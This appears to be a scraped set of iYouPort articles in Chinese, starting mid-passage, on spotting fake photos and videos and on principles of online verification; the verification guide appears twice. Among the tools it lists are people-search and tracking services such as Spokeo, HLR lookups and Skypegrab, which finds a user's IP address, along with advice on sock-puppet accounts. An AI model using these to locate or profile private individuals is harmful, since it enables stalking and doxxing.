虽然不确定这段视频的真实拍摄时间，但它清楚地显示了地理位置是巴黎的 Boulevard Peripherique。来自 Getty Images 的照片显示 2016 年4月在同一段路上发生了一场大型摩托车抗议活动。以下是其中一张 Getty Images 照片（左图）和病毒式传播的视频截图的比较：

「图」

> **我们曾经多次强调视频和图像被技术性修改的错误信息制造方法，比如//这篇文章//，还有这篇，这是政治博弈游戏中越来越常见的玩法。但日常情况下，更为多见的是将真实的视频和图片安插在虚假的描述之下，以制造符合发布者政治立场的内容。想必至少一半的中国读者见过这类操作的至少一个案例。揭穿这类谎言的方法相比下很简单，就是我们介绍过的反向图片搜索，目的是找到该视频最初在互联网上出现的事件及其描述。**

以上是三个比较典型的案例，关于：即便违背你的认知的信息也有可能是真的；即便是主流媒体发布的信息也有可能是假的；即便视频本身没有被篡改过，该消息也有可能不实。

三个案例都比较简单。但要知道，如今造假的方法已经多种多样，尤其是在技术的配合之下，分辨起来恐怕不会很轻松。但只要我们有追求真相的勇气，大家联合起来各自发挥自己的能力优势，我们的民主就能得到保障。非常期待中国的积极人士能参与到事实核查的工作中来，这将是一种绝佳的公民社会经验积累。

请充分使用我们提供的工具。可以将您最优秀的调查报告发送给我们，一起来捍卫真相！■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

虚假信息鉴别工具箱：如何验证图片和视频的真伪？ - iYouPort

让它民主-公民掌握真相的技巧和技术

「图」

由于我的愚钝，直到最近才发现，很多中国大牌媒体在职记者、甚至“资深”记者，几乎完全不具备基本功，他们依靠信息消费者来判断一个消息的真伪 —— 先转发再等着观众辟谣，这就是为什么从他们手中转发的很多消息都是假的。鉴于他们的知名度，如果该消息一段时间内没有被揭发造假，它将形成可观的传播范围。

现代技术经常能制造出令人惊讶的效果，这是众所周知的，对于新闻报道这种追求真实性的行业来说，肯定不是什么好事。

技术含量很高的所谓“深度造假”正在越来越多地出现，但是对于中国记者来说，99.9% 的时间里他们根本遇不到这类造假，他们能接触到的不过是一些本土内容营销者的炒作，为了吸引目光而简单制作的浅薄的谎言。这类信息很容易鉴别，以至于这种造假方法早已不再流行，除了段子手们偶尔拿来开玩笑用。

然而中国“资深”记者们就连一个段子的层次都识别不得。这是比造假技术的飞跃本身更令人担忧的问题 —— 记者的不专业不仅令他们无法完成新闻业的基本职能，更愚弄了整个社会，最终唯一的受益者是政权。

深度造假

日前，一个由比利时左翼政党 sp.a 制作的视频鼓励人们退出巴黎气候协议，虽然其中所呈现的观点听起来很像特朗普，但是视频中的人并不是特朗普。

伪造信息不新鲜。斯大林曾经将他的敌人从所有历史记录中抹去；好莱坞的电影也经常用它来做特效，包括保护演员免于受伤。如今的技术使这一切变得更加便宜和简单。 sp.a 的视频是一个“深度的假视频”

- 它吸收了“深度学习”技术……为了制造出这种层次的假冒，你需要的只是一个自由软件、一些你想要转换脸部的人的照片、一张现有的电影片段以及一个脚本。

由此，图片和视频将变得像文本一样：更容易被假冒或以微妙的方式被修改，夸大或淡化真正发生的事情。sp.a 说这个视频并不是为了欺骗，但这些技术所呈现的前景会随时令人担忧。互联网给了党派宣传和挑衅一种便宜而有效的方式来传播书面的谣言和谎言。伪造的图像和视频非常易于传播，因为很多人还没有学会怀疑图像信息。

“FakeApp” 这个臭名昭著的软件于2018年1月发布了其桌面应用程序。虽然已经在线操作多年，但现在它使用深度学习来允许任何人创建逼真的换脸视频。今年 2 月，Reddit 和 PornHub 禁止了这些视频的流通 - 就如前文所述的特朗普视频一样，它们被称为“深度假冒” - Motherboard 是第一个报道这件事的，作者 Samantha Cole 很清楚该技术的潜在后果。达特茅斯学院的数字取证和图像分析专家警告说，这不是玩笑，很可能造成严重的后果。

幸亏 sp.a “有分寸”，如果他们伪造一个特朗普支持核战争的假视频，天知道会发生什么。

尽管“FakeApp”一定程度上被禁止，但依旧无法阻止人们使用它（有可能只是为了一个玩笑）。

一般来说分辨伪造视频并不难，通过观察就可以作出基本验证，比如视频闪烁吗、是一个非常短的剪辑吗（越短越可疑）、画面上看起来有什么异物吗，人脸的光线合理吗，等等。但现在问题似乎有点复杂了，随着技术的进步，比如华盛顿大学研究人员用来制造奥巴马假视频的 AI 技术，加之这些技术更便于使用了，每个人都应该有一套验证假冒的装备。以防被骗。

我们依旧需要强调常识，很多常识还是很有效的，包括常用的工具。社交媒体上你能看到的最常见的提问就是“这是真的还是假的”，几乎口头禅一般，看起来依旧有太多人不了解这些常识，否则他们应该知道如何验证一张照片、或一个视频、或一则传闻的真实性。亲自检验。

下面提供一些很简单的工具。它们中有些或许应付不了最新出现的高超的造假技术，但是对于新闻界来说，足够你用来做日常性真伪检验。

验证视频真伪

YouTube DataViewer: 在 YouTube 上看到最新的病毒式传播视频时寻找“印痕”很重要：痕迹会显示它是否为旧视频，被某人先从 YouTube 下载，再冒充原始目击者重新上传，或者是声称该视频描述了一个新事件，这种情况很多出现，几乎是最小白的造假。要揭穿它，你只需要粘贴某个 YouTube 视频的 URL 网页地址在这里，就可以查看该视频的上传日期和时间（它们是否与标明的日期不同）。

你还可以使用影像缩略图追踪它们在网络上被使用的历史。如果 YouTube 上存有相同视频的多个版本，日期信息可以让你确定最早的上传，而它最有可能是原始的。缩略图也可用于反向图像搜索，来找到包含该视频的网页，这是鉴别视频的快速有效方法。

互联网人在绝大部分时间里处于无意识状态，这就是为什么人们看起来很容易受骗、也是为什么假消息会盛行，本网几年前详细分析过这一问题。这种无意识状态下信息几乎不会进入记忆，于是一个骗局在互联网上可以被反复利用，而每次都能骗倒一群人。

揭露这类谎言非常简单，你只需要简单地检索一下。传播这类谎言是很丢脸的，说明传播者无知和懒惰到了惊人的地步。

「图」

Wolfram Alpha: 这个著名的知识搜索引擎也可以用来验证视频或照片的真伪。其方法之一是，把影像中的天气状况与历史上的气象记录做比较。键入“天气”、位置和日期，就可以在该引擎的数据集中进行搜索。

你还可以用 Wolfram Alpha 查询一些事件的概率。例如它会告诉你，梭哈扑克中出现“满堂彩”(full house)概率是0.14%(约1/694)。如果你获得的信息中事件呈现的概率和满堂彩差不多，做好先不要发布，用其他方法进一步验证下。

验证照片真伪

FotoForensics: 在此网站上传照片，通过查看不同的压缩级别来判断照片是否被修改过。通过Error Level Analysis，图像被编辑过的部分会被显示出来。它也提供了大量的分享选项，允许你提供直连你的 FotoForensics 分析页面的链接，对于阻止不准确信息的重新流通很有用。

「图」

简单说，辨别图片有没有加工过，原理就是网站利用 ELA（Error Level Analysis）分布算法还原相邻像素的压缩特征。一般照片压缩特征是上图中近似的高频白色分布，但如果是编辑过后修改完保存的，则像素之间的压缩特征会有明显的差异，产生较为明显的与别处不同的白线。

但它也不是万能的，因为有一个很重要的因素必须要考虑。当图片被反复重新发布，每次发布图像的质量都会有所下降。在 **Facebook** 和 **Twitter** 上有很多图片是以低质量保存的，而图像大小和图像的质量都会直接影响其评估图片的能力。

JPEGsnoop: 这个网站能让你查看照片是在一天中什么时间拍摄的、用什么相机拍摄的以及其他一些细节。像 FotoForensics 一样，你也可以通过比较图像的压缩级别来判断图像是否被编辑过。

这是一个免费的 Windows 应用程序，用于检查和解码 JPEG，MotionJPEG AVI 和 Photoshop 文件的内部细节。你还可以启用全面的 Huffman VLC 解码，有助于那些正在学习 JPEG 压缩和正在编写 JPEG 解码器的人。

「图」

izitru 是一个免费、免安装的网上程式，可以检查相片是否被修改过。原理也是常用的 devise signature analysis, JPEG structure analysis, double JPEG detection, JPEG coefficient analysis, sensor pattern analysis, 以及 JPEG ghost detection 等方法，而且使用起来十分简单，只需要：到这里上传需要检查的相片，只接授 JPEG 档。上传后就会自动出现相片的评测，共分为高至没有等 5 个信用等级：high trust (没有修改)；medium trust；undetermined file history；potential file modification；no trust (有修改) 很简单吧。

「图」

Who Stole My Pictures：用一个附加组件就可以在网上通过搜索引擎进行搜索，并找出某张照片的其他版本。它可以让你追踪此照片被使用的历史，因为撒谎的发布者声明的照片出处可能并不准确。

Jeffrey's Exif Viewer ：数码相机和智能手机拍摄的照片、视频和音频包含可交换图像文件 **(EXIF)** 信息 - 关于使用相机型号、媒体创建日

期，时间和地点的非常重要的元数据信息。如果你怀疑作者对内容来源的说明性信息是错的，上述这些数据就可以揭穿他。在这种情况下，Jeffrey's Exif Viewer 等 EXIF 查看器允许你上传图片或输入图片的 URL 来查看其元数据。

值得注意的是，虽然 Facebook、Instagram 和推特在内容上传到他们服务器时删除 EXIF 数据，通过 Flickr 和 WhatsApp 等平台分享的照片仍然包含这些数据。

TinEye ：和谷歌反向图片搜索是一样的工具。

Forensically：是一套免费的数字图像取证工具。它包括克隆检测，错误级别分析，元数据提取等。上面那些工具基本都包括了这些功能。

验证消息真伪，以及挖掘网络数据

这里指的是验证信息真伪的用途，不是用来追踪的。但广大互联网用户应该也能通过这些工具了解到自己的在线信息被曝光的程度，以及隐私保护的重要性

BotOrNot：忽然有人注册了新账号宣称“曝光秘密”，同时其发布的内容获得了很多转发和点赞，此人所言是否已经有很多人信任？某用户经常发布耸人听闻的消息，而其粉丝量和转发量明显不匹配，其中是否有掺假？这个工具可以帮助你验证。它会检查 Twitter 帐户的活动，并根据帐户是否是 bot 的可能性给一个评分。

GeoSocial Footprint：这是一个可以跟踪用户位置“足迹”的网站，该地图可以通过支持 GPS 的推文、社交签到、自然语言位置搜索（地理编码）和个人资料收集创建。

如果一个信息发布者声称“亲见”，而他并没有出现在事发地点，这个工具就可以帮你验证；如果你想寻找目击证人做采访，也可以用到它。虽然隐私关注者一直在强调位置信息和读取位置权限的风险，但依旧有很多人不在意，以至于这个工具至今很好用。

「图」

HLR Lookups：可以跟踪网络连接数据，并且可以实时查看号码是否有效、是否处于活动状态，以及移动用户正在使用哪个网络。全部实时数据。

Pipl.com：搜索个人的互联网足迹，并可通过多个社交媒体帐户、公

共记录和联系方式，以帮助识别。

Spokeo：可以通过姓名，电子邮件，电话或用户名查找一个人的搜索引擎。结果将合并成一份显示性别，年龄，联系方式，职业，教育程度，婚姻状况，家庭背景，经济状况和各种照片的个人资料。

Skypegrab：通过 Skype ID，可以跟踪 IP 地址和用户位置。

Who.is：它查找域名的注册者，并详细说明注册人或受让人的注册日期、位置和联系方式。还有一个 Chrome 扩展，另外一个功能可以执行历史搜索。

Flickr：一个可用于搜索地理定位照片的照片共享平台。

谷歌地图：提供覆盖地球大部分地区的高分辨率航空或卫星图像的在线地图，除了两极地区外。包括许多选项，如地形，天气信息和 360 度街景水平视图。但是，应该指出的是，在 Google 被限制访问地理信息的国家/地区，准确性可能会受到质疑。

谷歌街景时间机器：在大多数主要城市，可以使用历史街景比较街道，建筑物等。对于验证过去内容中显示的位置非常有用。

……其实还有很多，社交工程学常用的工具就可以写几万字出来。数据是计算的副产品，互联网上的数据无穷无尽，你想查什么都不难做到。上面这些工具足够记者们检验一则信息的真伪了，以及协助采访的需求。至少可以避免露怯 —— 作为一名记者，你不应该去询问他人“这是真的还是假的”，如果你的确不知道这些常识，建议赶紧回您的母校要求退学费，然后用这些钱资助本网。谢谢 ~

（本文不需要翻译英文，因为太常识了，免得让外国人知道中国记者有多无知）

原文

验证在线信息真伪的简单思路

让它民主-公民掌握真相的技巧和技术

对在线信息的验证可能令人生畏，但并没有你想得那么困难。

「图」

我们介绍过很多信息验证的方法和技术工具，本文将侧重于思考方式 —— 思考方式是最重要的东西，因为你可能拥有一大堆工具，却不知道该怎么使用，是思考方式在指导快速而有意义的实践。

信息验证主要是关于重复性、持久性、以及使用具有一点创造力的数字调查工具。

就如我们曾经介绍过的那样；现在有很多验证技巧和工具。实际上，最困难的部分可能是如何记住您可以使用的所有资源。

这就是思考方式的重要性所在 —— 精简的验证向导指南。这里推荐一本书，它包括基本概念、清单、以及提示和技术。在文末看到。

最重要的是，它将为您介绍验证的五个支柱，并有望作为如何解决每个支柱的快速参考。

互联网时代信息传播是如此之快 —— 而且假消息的传播永远都比真相更快，以至于每个人（不仅是技术记者和社交媒体编辑）都必须了解基本的真伪验证技能。

新闻编辑室还需要保护自己，避免被骗和无意间向更多听众介绍虚假信息。

许多虚假信息战操纵者会将其精心制作的假消息被新闻媒体报道视为最终目标，并利用在线空间操纵内容，以期扩大受众。

而且视觉效果是传播虚假信息的一种特别有效的方法，因为人们更倾向于相信自己看到的东西。与文本虚假信息相比，被恶意编造的图像

也更难检测。

验证技术一直在不断变化，科技平台会修改其隐私设置、删除研究工具并构建新工具；就如调查技术和安全防御技术一样，信息验证工具也会不断变化，以适应新的局面。

在进行在线验证之前，请问自己第一个最基本的问题是：我正在查看的内容是否与实际发生的事件有关？

在某些情况下，例如突发新闻事件，这个问题可能正是您要通过验证确定的事。但是在某些情况下不是。

想象一下，您发现了一个视频，讲述的是某个机场排长队、乘客表达不满。在确认视频的拍摄者、日期和时间、真正的位置之前，您的第一个问题应该是：机场是否真的有相关问题报告？

这就是帮助您更快速达成目标的思考方式。

另一个例子是2016年美国大选之前臭名昭著的标题："教皇赞同唐纳德·特朗普"。您可以对网站、创建者、文章的发布时间、以及传播的范围等线索进行所有方式的验证，但是，文章的基本主张应该是您首先要检查的内容。

验证的5大支柱

「图」

幸运的是，它很容易分解。因为无论您是在观看目击者视频、被操纵的照片、伪造的账号、还是一个meme，您必须对它们进行的基本检查都是相同的，如下：

- 出处：您正在查看的是原始账户、文章或内容吗？
- 来源：谁创建了该帐户或文章、或捕获了原始内容？
- 日期：它是何时创建的？
- 位置：这些内容是在哪里捕获/创建的？真实的位置而不是发布者声称的；
- 动机：这些人为什么要创建这样的内容、网站或账户？有可能谁受益？

您对每个支柱了解得越多，您的验证就越强大。

确定性

验证很难是万无一失的。它更像是寻找线索并收集确凿的证据。

想象一个老式的侦探调查小组，把可见的一些信息都固定在墙板上：位置、名称、明确的内容主题。

线索之间的线条呈现出相关性的网络。如今也是如此：记者和调查人员一直使用相同的旧方法来弄清事实，但只是把这些方法应用于互联网了。

因此，您需要做的就是尽可能地收集证据；但要意识到，您将不会总是能得到非常明确的答案。

还要认识到：不确定性会笼罩整个过程，这意味着我们要更加清楚自己所知道的、和自己所不知道的东西，尤其是，如果这些信息将为您的调查报告提供帮助的话。要非常小心。

以下是为验证视觉媒体而建立的主题，可帮助您评估验证的严密性以及漏洞的位置。

「图」

1、了解自己的弱点

验证通常需要一些时间；并且，某些时候，它可能会导致您走上毫无结果的迷途。学会弄清楚什么时候应该放弃 —— 无法验证真伪时放弃报道。

我们是人类，很容易对某段内容的真假作出自然反应。但是也正因此，必须时刻保持怀疑态度。记住老编辑的格言：即使您妈妈说她爱您，也请检查核对。

- 原则在这里（以及验证示例）《真假消息鉴别案例演示：是否为真应该与你我的个人立场毫无关系》

互联网是一个广阔而海绵状的地方。如果您过于专心于寻找特定的证据，就有可能会遗漏沿途发生冲突的其他关键证据。

事实上IYP去年发布的防骗系列，正是需要被每一位追求真相的人所掌握的。您可以在下面回顾：

- 《媒体操控：战略性欺骗的重头戏》
- 《欺骗不是撒谎这么简单：对峙的艺术（1）》
- 《伟大的自欺—战略性欺骗的心理维度（2）》
- 《想象力、创造力和较量—欺骗与反欺骗的互动（3）》
- 《偏执的保密—欺骗的主要方法之一（4）》
- 《让你看见—欺骗的积极方法之二（5）》
- 《反情报能力和思维模式—识别战略性欺骗的主要途径（6—上）》
- 《辟谣往往无效除非自我批驳—识别战略性欺骗的主要途径（6—下）》

所以，要小心。

2、了解传播

揭露假消息是一项棘手的艺术。很多研究都能表明，即使“揭穿丑闻”也依旧会巩固虚假谎言在人们头脑中的位置。

这意味着即使有充分的证据可以证伪，关于错误信息的揭露性报告也很有可能就此巩固那些原本已经被一些人遗忘掉的虚假信息 —— 因为揭露总是比虚假本身的传播要晚，而且有可能晚很多。

所以如果您准备揭露和分析，请先考虑您的报告在网上的覆盖面：它是否能包含被该虚假信息危害最为严重的地区和人群？你的证据的力度如何，能否帮助被骗者醒悟？

究竟有多少人已经看过了虚假信息 —— 这个问题通常很难用指标进行量化，这些指标通常只是份额，点赞、转发、评论等等。但是尝试很重要。甚至小型社区或小众社区也可以在某些情况下非常重要。

在验证过程中

平台可以快速删除或屏蔽内容。您可能会惊讶于丢失重要信息的速度有多快。这对于验证的透明度来说也非常重要。

所以，您必须能找到及时保存证据的方法。在下面看到：

- 《手慢无：如何抢在信息被遮挡、污染或完全消失之前捕获它们？》
- 已经被删掉了怎么办？也有办法《盗墓OSINT》

有许多令人印象深刻的工具可用于验证，IYP 的开源情报栏目中已经讨论了许多。但是请记住，有时候简单的搜索就能解决问题。

在下面回顾我们提供过的搜索工具、及搜索技巧：

- 《搜人、照片、视频、位置 …… 大全：新的FB”图谱搜索”替代方案—— 尤其强调防御》
- 《一个搜索统治一切：调查用心而非技术》
- 《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》
- 《开源调查工具：情报地图、“黑客搜索”, 及其他 》
- 《高级运算符辅助开源调查：巧用搜索引擎挖掘情报 》
- 《如何从推特挖掘情报（1）：一个流行工具的具体介绍》
- 《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》

作为记者，不要忘了你的电话。

在许多情况下，最理想的情况是您找到消息来源的电话号码或电子邮件地址，以便您可以直接与他们联系并询问他们共享的内容。

即使发送简单的直接消息—比如通过加密通信，也可以私下开始对话，在这里您可以找到比其他地方更多的信息。

设置工具箱

如果您要进行大量验证或其他类型的数字研究，则值得建立一个书签系统，列出所有您感兴趣的网站。

如前所述，最大的挑战之一就是记住您可以使用的所有工具。

Web浏览器中的书签文件夹很好，但是我们最喜欢的保存验证工具的方法是使用 Start.me。就如**IYP**的内容分类列表那样。

它很好地显示了您所有的书签，并且设置和不断添加新资源的速度非常快。您可以将其用作主页，也可以在其他地方添加书签。

「图」

同时监视相关内容

在验证内容时，设置监视仪表板和警报系统可能会有所帮助，以便在出现所需内容时及时看到它们。

例如，您可以使用要检查的内容中的关键字在 Tweetdeck 中设置搜索列，或设置经常与您的信息来源相关的帐户列表；关于 Tweetde 的用法在这里。

保持更新

验证在不断变化。科技平台会修改其隐私设置，删除研究工具并构建新工具。就像 Facebook 图谱搜索的命运那样。

如果要跟上进度，您应该定期更新工具箱或从我们的开源情报栏目中阅读最新技术。

保持安全！

就如我们一直强调的那样，涉足数字调查时，您应采取许多安全预防措施，尤其是当您将时间花在诸如 Discord 之类的更封闭和匿名的空间中时。以下是一些需要考虑的基本知识：

- 确保您具有高水平的个人数字安全性；见我们的“技术防身”栏目；
- 检查您自己的数字足迹以及所有社交帐户上的隐私设置。想想看，恶意者可以通过doxing挖到多少关于您的信息？关于您的家人和朋友的信息呢？请参见我们介绍过的方法《第一步：大清洗》；《第二步：自我人肉》
- 《基本防御方法》
- 如果您在封闭的匿名空间中与他人互动，请注意个人信息的泄漏问题《你不应该说的话》
- 《如何建立一个匿名社交媒体账户以保护个人数据的私密性？》
- 袜子木偶是调查人员的必备《如何快速创建一个假人？简易版分身术—调查人员使用》

道德和标准仍然适用

以下是一些要点和问题：

1、正如电子邮件不如您亲自进行的采访那样好，互联网上的帖子也

没有访谈的价值更大。所以，只要可以的话，请直接与他人交流。

2、一些验证工具会利用社交媒体平台掩盖隐私设置的方式，引导人们分享他们的敏感信息。您应该避免不必要地窥探任何人的私生活。

3、如果您要截屏和记录来自社交媒体的数据，请告知对方；因为如果您的系统不安全并且数据落入他人之手，您可能会无意中使当事人处于危险之中。

4、如果您在信息验证期间打算在封闭的或匿名的空间中张贴任何内容，请不要使用真实姓名。

5、在匿名空间内，除非您明确知道自己在对谁说话，否则应该采取和公开平台一样的隐私意识 —— 知道哪些话不应该说。

以上是信息验证的思考方式和原则标准 —— 每一位追求真相的公民都应该熟知并熟练使用。

验证是寻找新线索和确凿证据的过程，而您在一个调查上取得的进展可能会帮助您进行另一项更大的调查。

真相会一层层拨开。好运！

在下面回顾IYP曾经关于信息验证的（部分）内容：

- 《10个简单技巧 快速验证社交媒体热门视频的真伪》
- 《信息验证技巧：如何确定照片的拍摄时间？》
- 《公民记者如何验证民间爆料视频的真实性？》
- 《信息验证：如何自动反向图片搜索 YouTube 和 Vimeo 的视频？》
- 《🔍 超级情报收集工具库：开源验证和调查工具及使用方法》
- 《全球搜罗：用于信息验证的基本地理定位工具 》
- 《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》
- 等等……

Download the full guide:

- "//First Draft’s Essential Guide to Verifying Online Information (PDF)//"

原文

验证在线信息真伪的简单思路 - iYouPort

让它民主-公民掌握真相的技巧和技术

对在线信息的验证可能令人生畏，但并没有你想得那么困难。

「图」

「图」

我们介绍过很多信息验证的方法和技术工具，本文将侧重于思考方式 —— 思考方式是最重要的东西，因为你可能拥有一大堆工具，却不知道该怎么使用，是思考方式在指导快速而有意义的实践。

信息验证主要是关于重复性、持久性、以及使用具有一点创造力的数字调查工具。

就如我们曾经介绍过的那样；现在有很多验证技巧和工具。实际上，最困难的部分可能是如何记住您可以使用的所有资源。

这就是思考方式的重要性所在 —— 精简的验证向导指南。这里推荐一本书，它包括基本概念、清单、以及提示和技术。在文末看到。

最重要的是，它将为您介绍验证的五个支柱，并有望作为如何解决每个支柱的快速参考。

互联网时代信息传播是如此之快 —— 而且假消息的传播永远都比真相更快，以至于每个人（不仅是技术记者和社交媒体编辑）都必须了解基本的真伪验证技能。

新闻编辑室还需要保护自己，避免被骗和无意间向更多听众介绍虚假信息。

许多虚假信息战操纵者会将其精心制作的假消息被新闻媒体报道视为最终目标，并利用在线空间操纵内容，以期扩大受众。

而且视觉效果是传播虚假信息的一种特别有效的方法，因为人们更倾向于相信自己看到的东西。与文本虚假信息相比，被恶意编造的图像也更难检测。

验证技术一直在不断变化，科技平台会修改其隐私设置、删除研究工具并构建新工具；就如调查技术和安全防御技术一样，信息验证工具也会不断变化，以适应新的局面。

在进行在线验证之前，请问自己第一个最基本的问题是：我正在查看的内容是否与实际发生的事件有关？

在某些情况下，例如突发新闻事件，这个问题可能正是您要通过验证确定的事。但是在某些情况下不是。

想象一下，您发现了一个视频，讲述的是某个机场排长队、乘客表达不满。在确认视频的拍摄者、日期和时间、真正的位置之前，您的第一个问题应该是：机场是否真的有相关问题报告？

这就是帮助您更快速达成目标的思考方式。

另一个例子是2016年美国大选之前臭名昭著的标题："教皇赞同唐纳德·特朗普"。您可以对网站、创建者、文章的发布时间、以及传播的范围等线索进行所有方式的验证，但是，文章的基本主张应该是您首先要检查的内容。

验证的5大支柱

「图」

「图」

幸运的是，它很容易分解。因为无论您是在观看目击者视频、被操纵的照片、伪造的账号、还是一个meme，您必须对它们进行的基本检查都是相同的，如下：

- 出处：您正在查看的是原始账户、文章或内容吗？
- 来源：谁创建了该帐户或文章、或捕获了原始内容？
- 日期：它是何时创建的？
- 位置：这些内容是在哪里捕获/创建的？真实的位置而不是发布者声称的；
- 动机：这些人为什么要创建这样的内容、网站或账户？有可能

谁受益？

您对每个支柱了解得越多，您的验证就越强大。

确定性

验证很难是万无一失的。它更像是寻找线索并收集确凿的证据。

想象一个老式的侦探调查小组，把可见的一些信息都固定在墙板上：位置、名称、明确的内容主题。

线索之间的线条呈现出相关性的网络。如今也是如此：记者和调查人员一直使用相同的旧方法来弄清事实，但只是把这些方法应用于互联网了。

因此，您需要做的就是尽可能地收集证据；但要意识到，您将不会总是能得到非常明确的答案。

还要认识到：不确定性会笼罩整个过程，这意味着我们要更加清楚自己所知道的、和自己所不知道的东西，尤其是，如果这些信息将为您的调查报告提供帮助的话。要非常小心。

以下是为验证视觉媒体而建立的主题，可帮助您评估验证的严密性以及漏洞的位置。

「图」

「图」

1、了解自己的弱点

验证通常需要一些时间；并且，某些时候，它可能会导致您走上毫无结果的迷途。学会弄清楚什么时候应该放弃 —— 无法验证真伪时放弃报道。

我们是人类，很容易对某段内容的真假作出自然反应。但是也正因此，必须时刻保持怀疑态度。记住老编辑的格言：即使您妈妈说她爱您，也请检查核对。

- 原则在这里（以及验证示例）《真假消息鉴别案例演示：是否为真应该与你我的个人立场毫无关系》

互联网是一个广阔而海绵状的地方。如果您过于专心于寻找特定的证据，就有可能会遗漏沿途发生冲突的其他关键证据。

事实上IYP去年发布的防骗系列，正是需要被每一位追求真相的人所掌握的。您可以在下面回顾：

- 《媒体操控：战略性欺骗的重头戏》
- 《欺骗不是撒谎这么简单：对峙的艺术（1）》
- 《伟大的自欺—战略性欺骗的心理维度（2）》
- 《想象力、创造力和较量—欺骗与反欺骗的互动（3）》
- 《偏执的保密—欺骗的主要方法之一（4）》
- 《让你看见—欺骗的积极方法之二（5）》
- 《反情报能力和思维模式—识别战略性欺骗的主要途径（6—上）》
- 《辟谣往往无效除非自我批驳—识别战略性欺骗的主要途径（6—下）》

所以，要小心。

2、了解传播

揭露假消息是一项棘手的艺术。很多研究都能表明，即使“揭穿丑闻”也依旧会巩固虚假谎言在人们头脑中的位置。

这意味着即使有充分的证据可以证伪，关于错误信息的揭露性报告也很有可能就此巩固那些原本已经被一些人遗忘掉的虚假信息 —— 因为揭露总是比虚假本身的传播要晚，而且有可能晚很多。

所以如果您准备揭露和分析，请先考虑您的报告在网上的覆盖面：它是否能包含被该虚假信息危害最为严重的地区和人群？你的证据的力度如何，能否帮助被骗者醒悟？

究竟有多少人已经看过了虚假信息 —— 这个问题通常很难用指标进行量化，这些指标通常只是份额，点赞、转发、评论等等。但是尝试很重要。甚至小型社区或小众社区也可以在某些情况下非常重要。

在验证过程中

平台可以快速删除或屏蔽内容。您可能会惊讶于丢失重要信息的速度有多快。这对于验证的透明度来说也非常重要。

所以，您必须能找到及时保存证据的方法。在下面看到：

- 《手慢无：如何抢在信息被遮挡、污染或完全消失之前捕获它们？》
- 已经被删掉了怎么办？也有办法《盗墓OSINT》

有许多令人印象深刻的工具可用于验证，IYP 的开源情报栏目中已经讨论了许多。但是请记住，有时候简单的搜索就能解决问题。

在下面回顾我们提供过的搜索工具、及搜索技巧：

- 《搜人、照片、视频、位置 …… 大全：新的FB”图谱搜索”替代方案—— 尤其强调防御》
- 《一个搜索统治一切：调查用心而非技术》
- 《如果你擅长搜索，你能找到一切：*没有谷歌*的强大搜索世界》
- 《开源调查工具：情报地图、“黑客搜索”, 及其他 》
- 《高级运算符辅助开源调查：巧用搜索引擎挖掘情报 》
- 《如何从推特挖掘情报（1）：一个流行工具的具体介绍》
- 《从推特中挖掘真相不需要太复杂的工具：一个常用工具的全面指南》

作为记者，不要忘了你的电话。

在许多情况下，最理想的情况是您找到消息来源的电话号码或电子邮件地址，以便您可以直接与他们联系并询问他们共享的内容。

即使发送简单的直接消息—比如通过加密通信，也可以私下开始对话，在这里您可以找到比其他地方更多的信息。

设置工具箱

如果您要进行大量验证或其他类型的数字研究，则值得建立一个书签系统，列出所有您感兴趣的网站。

如前所述，最大的挑战之一就是记住您可以使用的所有工具。

Web浏览器中的书签文件夹很好，但是我们最喜欢的保存验证工具的方法是使用 Start.me。就如**IYP**的内容分类列表那样。

它很好地显示了您所有的书签，并且设置和不断添加新资源的速度非常快。您可以将其用作主页，也可以在其他地方添加书签。

「图」

「图」

同时监视相关内容

在验证内容时，设置监视仪表板和警报系统可能会有所帮助，以便在出现所需内容时及时看到它们。

例如，您可以使用要检查的内容中的关键字在 Tweetdeck 中设置搜索列，或设置经常与您的信息来源相关的帐户列表；关于 Tweetde 的用法在这里。

保持更新

验证在不断变化。科技平台会修改其隐私设置，删除研究工具并构建新工具。就像 Facebook 图谱搜索的命运那样。

如果要跟上进度，您应该定期更新工具箱或从我们的开源情报栏目中阅读最新技术。

保持安全！

就如我们一直强调的那样，涉足数字调查时，您应采取许多安全预防措施，尤其是当您将时间花在诸如 Discord 之类的更封闭和匿名的空间中时。以下是一些需要考虑的基本知识：

- 确保您具有高水平的个人数字安全性；见我们的“技术防身”栏目；
- 检查您自己的数字足迹以及所有社交帐户上的隐私设置。想想看，恶意者可以通过doxing挖到多少关于您的信息？关于您的家人和朋友的信息呢？请参见我们介绍过的方法《第一步：大清洗》；《第二步：自我人肉》
- 《基本防御方法》
- 如果您在封闭的匿名空间中与他人互动，请注意个人信息的泄漏问题《你不应该说的话》
- 《如何建立一个匿名社交媒体账户以保护个人数据的私密性？》
- 袜子木偶是调查人员的必备《如何快速创建一个假人？简易版分身术—调查人员使用》

道德和标准仍然适用

以下是一些要点和问题：

1、正如电子邮件不如您亲自进行的采访那样好，互联网上的帖子也没有访谈的价值更大。所以，只要可以的话，请直接与他人交流。

2、一些验证工具会利用社交媒体平台掩盖隐私设置的方式，引导人们分享他们的敏感信息。您应该避免不必要地窥探任何人的私生活。

3、如果您要截屏和记录来自社交媒体的数据，请告知对方；因为如果您的系统不安全并且数据落入他人之手，您可能会无意中使当事人处于危险之中。

4、如果您在信息验证期间打算在封闭的或匿名的空间中张贴任何内容，请不要使用真实姓名。

5、在匿名空间内，除非您明确知道自己在对谁说话，否则应该采取和公开平台一样的隐私意识 —— 知道哪些话不应该说。

以上是信息验证的思考方式和原则标准 —— 每一位追求真相的公民都应该熟知并熟练使用。

验证是寻找新线索和确凿证据的过程，而您在一个调查上取得的进展可能会帮助您进行另一项更大的调查。

真相会一层层拨开。好运！

在下面回顾IYP曾经关于信息验证的（部分）内容：

- 《10个简单技巧 快速验证社交媒体热门视频的真伪》
- 《信息验证技巧：如何确定照片的拍摄时间？》
- 《公民记者如何验证民间爆料视频的真实性？》
- 《信息验证：如何自动反向图片搜索 YouTube 和 Vimeo 的视频？》
- 《🔍 超级情报收集工具库：开源验证和调查工具及使用方法》
- 《全球搜罗：用于信息验证的基本地理定位工具 》
- 《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》
- 等等……

Download the full guide:

- "//First Draft’s Essential Guide to Verifying Online Information (PDF)//"

原文

当你手握真相：最基本的防护知识(1) - iYouPort

让它民主-公民掌握真相的技巧和技术

